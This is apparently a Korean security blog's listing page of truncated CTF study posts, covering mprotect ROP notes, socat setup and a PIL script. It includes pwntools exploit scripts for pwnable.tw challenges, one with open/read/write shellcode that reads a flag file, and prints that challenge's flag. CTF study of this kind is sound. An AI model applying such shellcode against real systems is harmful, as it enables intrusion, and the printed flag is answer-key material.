본문 바로가기 메뉴 바로가기

ba0bab

프로필사진

ba0bab

ba0bab
검색하기 폼 Mountain View
  • About me

  • 분류 전체보기 (165)
    • pwnable (127)
      • bandit (8)
      • FTZ (19)
      • LOB (11)
      • pwnable.kr (6)
      • pwnable.tw (16)
      • HackCTF (1)
      • CTF write-up (22)
      • windows (4)
      • 정리 (39)
    • reversing (0)
      • CTF write-up (0)
    • web hacking (0)
      • CTF write-up (0)
    • programming (30)
      • c, c++ (10)
      • python (20)
    • cs (5)
      • network (1)
      • etc (4)
    • CTF write-up (3)
  • GUESTBOOK
  • TAG
  • RSS

분류 전체보기
pwnable 기법 공부하기 좋은 사이트

https://www.lazenca.net/display/TEC/

pwnable/정리 2018. 8. 19. 01:29
mprotect를 이용한 rop

https://github.com/hyomin-Lee/exploit/blob/master/Hitcon_training/lab5/simplerop.py hitcon training lab5 simplerop 문제이다. 이 문제는 static 컴파일이 되어있어서 GOT overwrite 같은 공격이 불가하다. 따라서 shellcode의 실행으로 sh을 얻을 수 있었다. not stripped 이기때문에 mprotect의 주소를 얻을 수 있었다. NX기법이 걸려있으면 shellcode를 실행 할 수 없다. 하지만 mprotect를 이용해서 bss영역에 실행권한을 부여하면 shellcode를 이용해서 공격할 수 있다.

pwnable/정리 2018. 8. 19. 01:28
[pwnable.tw] hacknote write-up

from pwn import * s = remote("chall.pwnable.tw", 10102)e = ELF("./hacknote")lib = ELF("./libc_32.so.6")#context.log_level = 'debug' leakfunc =0x804862B s.recvuntil(":")s.sendline('1')s.recvuntil(":")s.sendline("1000")s.recvuntil(":")s.sendline("hyomin")s.recvuntil(":")s.sendline("1")s.recvuntil(":")s.sendline("1000")s.recvuntil(":")s.sendline("hyomin2") s.recvuntil(":")s.sendline("2") s.recvunti..

pwnable/pwnable.tw 2018. 8. 19. 00:51
[pwnable.tw] orw write-up

from pwn import * s = remote("chall.pwnable.tw", 10001)context(arch='i386', os='linux') s.recvuntil(":") payload = shellcraft.pushstr("/home/orw/flag")payload += shellcraft.open("esp",0,0)payload += shellcraft.read("eax", "esp", 0xff)payload += shellcraft.write(1,"esp", 0xff)s.sendline(asm(payload)) s.interactive() FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

pwnable/pwnable.tw 2018. 8. 19. 00:45
socat 으로 바이너리 돌리기

가끔 pwnable문제를 풀 때 ctf 환경, nc서버 환경을 만들어줘야 하는 문제들이 있는데, 데몬에 올린다던지, nc -e 옵션을 이용한다던지 다양한 방법들이 있지만 이번엔 socat이라는 것을 이용해 보려고 한다. 매우 간단하다. socat TCP-LISTEN:port,reuseaddr,fork EXEC:path 를 이용하면 된다. socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./dance port를 지정해주고 binary의 위치를 적어주면 된다. 접속은 nc를 이용하면 된다. 바이너리가 실행되는 것을 확인 할 수 있다.

pwnable/정리 2018. 8. 19. 00:40
함수이름 문자열 메모리 위치 .dynstr

plt 나 got 위치는 쉽게 구할 수 있다. 이 글에서 말하고자 하는 것은 printf나 puts 함수들의 name문자열도 메모리에 위치하고 있다. hyomin@ubuntu:~/baobob/ctf/gadi/pwn/dance_$ objdump -h ./dance ./dance: file format elf64-x86-64 Sections:Idx Name Size VMA LMA File off Algn 0 .interp 0000001c 0000000000400238 0000000000400238 00000238 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 0000000000400254 0000000000400254 00000254..

pwnable/정리 2018. 8. 19. 00:30
2018 YISF 순천향대 정보보호 페스티벌 예선 write-up

'hyoooom' 이라는 닉네임으로 참가했고 8위로 본선 진출했습니다. 초~ 중반에는 꽤 상위권을 유지 했었는데, 힌트가 새벽에 풀리고 많이 따라 잡혔습니다. 나름 여유롭게 본선에 진출해서 기분이 좋았습니다. 본선이 10시간 후면 열리는데.. 후 상 타고 싶습니다.

CTF write-up 2018. 8. 19. 00:19
python image library

from PIL import Image width, height = (300, 300)x,y = (0,0) img = Image.open("D:/what.png")img2 = Image.new("RGB", (300,300), (0xff,0xff,0xff))pix = img.load() for x in range(0,300): for y in range(0,300): r = pix[x,y][0] g = pix[x,y][1] b = pix[x,y][2] if(r==g and g==b and(r==192 or r==0)): img2.putpixel( (x,y), (255,255,255) ) else: img2.putpixel( (x,y), (0,0,0) ) img2.save("D:/solve__.png","p..

programming/python 2018. 8. 10. 01:24
이전 1 ··· 4 5 6 7 8 9 10 ··· 21 다음
이전 다음
최근에 올라온 글
최근에 달린 댓글
TAG
  • oob
  • fastbin
  • heap
  • fsop
  • 해킹
  • hacking
  • fastbindup
  • exit
  • tcache
  • FSB
  • ebp change
  • 본선가고싶다
  • srop
  • rt_sigreturn
  • TLS
  • shellcoding
  • overflow
  • pwnable
  • SQLi
  • HackCTF
  • stack reusing
  • codegate
  • pwnable.tw
  • glibc
  • pwable
more
Total
Today
Yesterday

Powered by Tistory / Designed by INJE

티스토리툴바